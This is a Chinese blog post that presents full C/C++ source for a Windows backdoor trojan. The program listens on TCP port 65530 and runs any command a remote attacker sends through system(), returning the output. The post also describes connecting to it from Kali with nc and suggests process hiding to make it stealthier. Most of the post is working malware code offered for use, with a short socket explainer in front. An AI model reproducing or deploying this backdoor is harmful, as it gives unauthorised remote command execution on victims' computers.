基于C/C++socket通信的后台木马程序

32 篇文章 1 订阅
3 篇文章 1 订阅

#基于C/C++socket通信的后台木马程序
##什么是socket通信?
网络上的两个程序通过一个双向的通信连接实现数据的交换,这个连接的一端称为一个socket。
建立网络通信连接至少要一对端口号(socket)。socket本质是编程接口(API),对TCP/IP的封装,TCP/IP也要提供可供程序员做网络开发所用的接口,这就是Socket编程接口;HTTP是轿车,提供了封装或者显示数据的具体形式;Socket是发动机,提供了网络通信的能力。
Socket的英文原义是“孔”或“插座”。作为BSD UNIX的进程通信机制,取后一种意思。通常也称作"套接字",用于描述IP地址和端口,是一个通信链的句柄,可以用来实现不同虚拟机或不同计算机之间的通信。在Internet上的主机一般运行了多个服务软件,同时提供几种服务。每种服务都打开一个Socket,并绑定到一个端口上,不同的端口对应于不同的服务。Socket正如其英文原义那样,像一个多孔插座。一台主机犹如布满各种插座的房间,每个插座有一个编号,有的插座提供220伏交流电, 有的提供110伏交流电,有的则提供有线电视节目。 客户软件将插头插到不同编号的插座,就可以得到不同的服务。

##现在我们来基于c/c++的socket来编写一个能够运行在windows上的后门软件,修改后可在linux上运行。

#####所需要的头文件、命名空间和链接库

#include <iostream>
#include <stdio.h>
#include <stdlib.h>
#include <string>
#include <windows.h>
#include <winsock.h>
#include <list>
#include <vector>

using namespace std;

#pragma comment(lib,"ws2_32.lib")

#####初始化socket库

Socket_TCP_connect() {
		WORD socketversion = MAKEWORD(2, 0);	//初始化版本
		WSADATA	socketData;						//初始化套接字内容
		WSAStartup(socketversion, &socketData);	//初始化socket库
	}

#####建立tcp套接字监听并绑定地址和端口

void Socket_TCP_Bind_Listen(int port = 65530, u_long ip_list = INADDR_ANY)
	{
		s1 = socket(AF_INET, SOCK_STREAM, 0);
		sin1.sin_family = AF_INET;
		sin1.sin_addr.S_un.S_addr = ip_list;
		sin1.sin_port = htons(port);
		bind(s1, (sockaddr *)&sin1, sizeof(sin1));
		listen(s1, 5);
		Socket_TCP_Accept();
	}

#####接受客户端信息

void Socket_TCP_Accept()
	{
		char buffer[1024];
		int addrlen = sizeof(sin2);
		while (true)
		{
			FILE *fp = fopen("123.txt", "w+");
			fclose(fp);
			cout << ">>wait for connect……" << endl;
			s2 = accept(s1, (sockaddr *)&sin2, &addrlen);
			cout << ">>connect from " << inet_ntoa(sin2.sin_addr) << endl;
			while (true)
			{
				int ret = recv(s2, buffer, sizeof(buffer), 0);
				buffer[ret] = 0x00;
				string commend = buffer;
				string cmd = "";
				for (auto &chr : commend)
				{
					if (chr == '\n')
					{
						chr = ' ';
					}
					cmd = cmd + chr;
				}
				cmd = cmd + "> 123.txt";
				char c[1024];
				strcpy(c, cmd.c_str());
				cout << "执行:" << endl;
				cout << c << endl;
				if (system(buffer) == 0)
				{
					send(s2, "OK", strlen("OK"), 0);
					if (system(c) == 0)
					{
						char str[1024] = "";
						FILE *fp2 = fopen("123.txt", "rb+");
						fread(str, sizeof(char), 1024, fp2);
						cout << str;
						send(s2, str, strlen(str), 0);
						fclose(fp2);
					}
				}
			}
			closesocket(s2);
		}
		closesocket(s1);
		WSACleanup();
	}

###核心思想:
本程序可以在主机上打开一个TCP连接,端口号为65530,并且接受客户端发来的指令,通过system()函数运行指令,并通过I/O操作将指令发送至客户端。
被攻击者为socket服务器端,攻击者为客户端。添加进程隐藏和多线程端口复用技术后,可以增加隐蔽性。

###完整源码:

#include <iostream>
#include <stdio.h>
#include <stdlib.h>
#include <string>
#include <windows.h>
#include <winsock.h>
#include <list>
#include <vector>

using namespace std;

#pragma comment(lib,"ws2_32.lib")

class Socket_TCP_connect {
public:
	//初始化socket库
	Socket_TCP_connect() {
		WORD socketversion = MAKEWORD(2, 0);	//初始化版本
		WSADATA	socketData;						//初始化套接字内容
		WSAStartup(socketversion, &socketData);	//初始化socket库
	}
public:
	//建立tcp套接字监听并绑定地址和端口
	void Socket_TCP_Bind_Listen(int port = 65530, u_long ip_list = INADDR_ANY)
	{
		s1 = socket(AF_INET, SOCK_STREAM, 0);
		sin1.sin_family = AF_INET;
		sin1.sin_addr.S_un.S_addr = ip_list;
		sin1.sin_port = htons(port);
		bind(s1, (sockaddr *)&sin1, sizeof(sin1));
		listen(s1, 5);
		Socket_TCP_Accept();
	}
private:
	//接受客户端信息
	void Socket_TCP_Accept()
	{
		char buffer[1024];
		int addrlen = sizeof(sin2);
		while (true)
		{
			FILE *fp = fopen("123.txt", "w+");
			fclose(fp);
			cout << ">>wait for connect……" << endl;
			s2 = accept(s1, (sockaddr *)&sin2, &addrlen);
			cout << ">>connect from " << inet_ntoa(sin2.sin_addr) << endl;
			while (true)
			{
				int ret = recv(s2, buffer, sizeof(buffer), 0);
				buffer[ret] = 0x00;
				string commend = buffer;
				string cmd = "";
				for (auto &chr : commend)
				{
					if (chr == '\n')
					{
						chr = ' ';
					}
					cmd = cmd + chr;
				}
				cmd = cmd + "> 123.txt";
				char c[1024];
				strcpy(c, cmd.c_str());
				cout << "执行:" << endl;
				cout << c << endl;
				if (system(buffer) == 0)
				{
					send(s2, "OK", strlen("OK"), 0);
					if (system(c) == 0)
					{
						char str[1024] = "";
						FILE *fp2 = fopen("123.txt", "rb+");
						fread(str, sizeof(char), 1024, fp2);
						cout << str;
						send(s2, str, strlen(str), 0);
						fclose(fp2);
					}
				}
			}
			closesocket(s2);
		}
		closesocket(s1);
		WSACleanup();
	}
private:
	SOCKET s1, s2;
	sockaddr_in sin1, sin2;
};

int main()
{
	system("chcp 65001");
	Socket_TCP_connect* conn = new Socket_TCP_connect();
	conn->Socket_TCP_Bind_Listen();
	return 0;
}

###实验效果:
win7下运行恶意程序
kali使用nc连接win7的65530端口执行恶意代码

评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

程序小黑

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值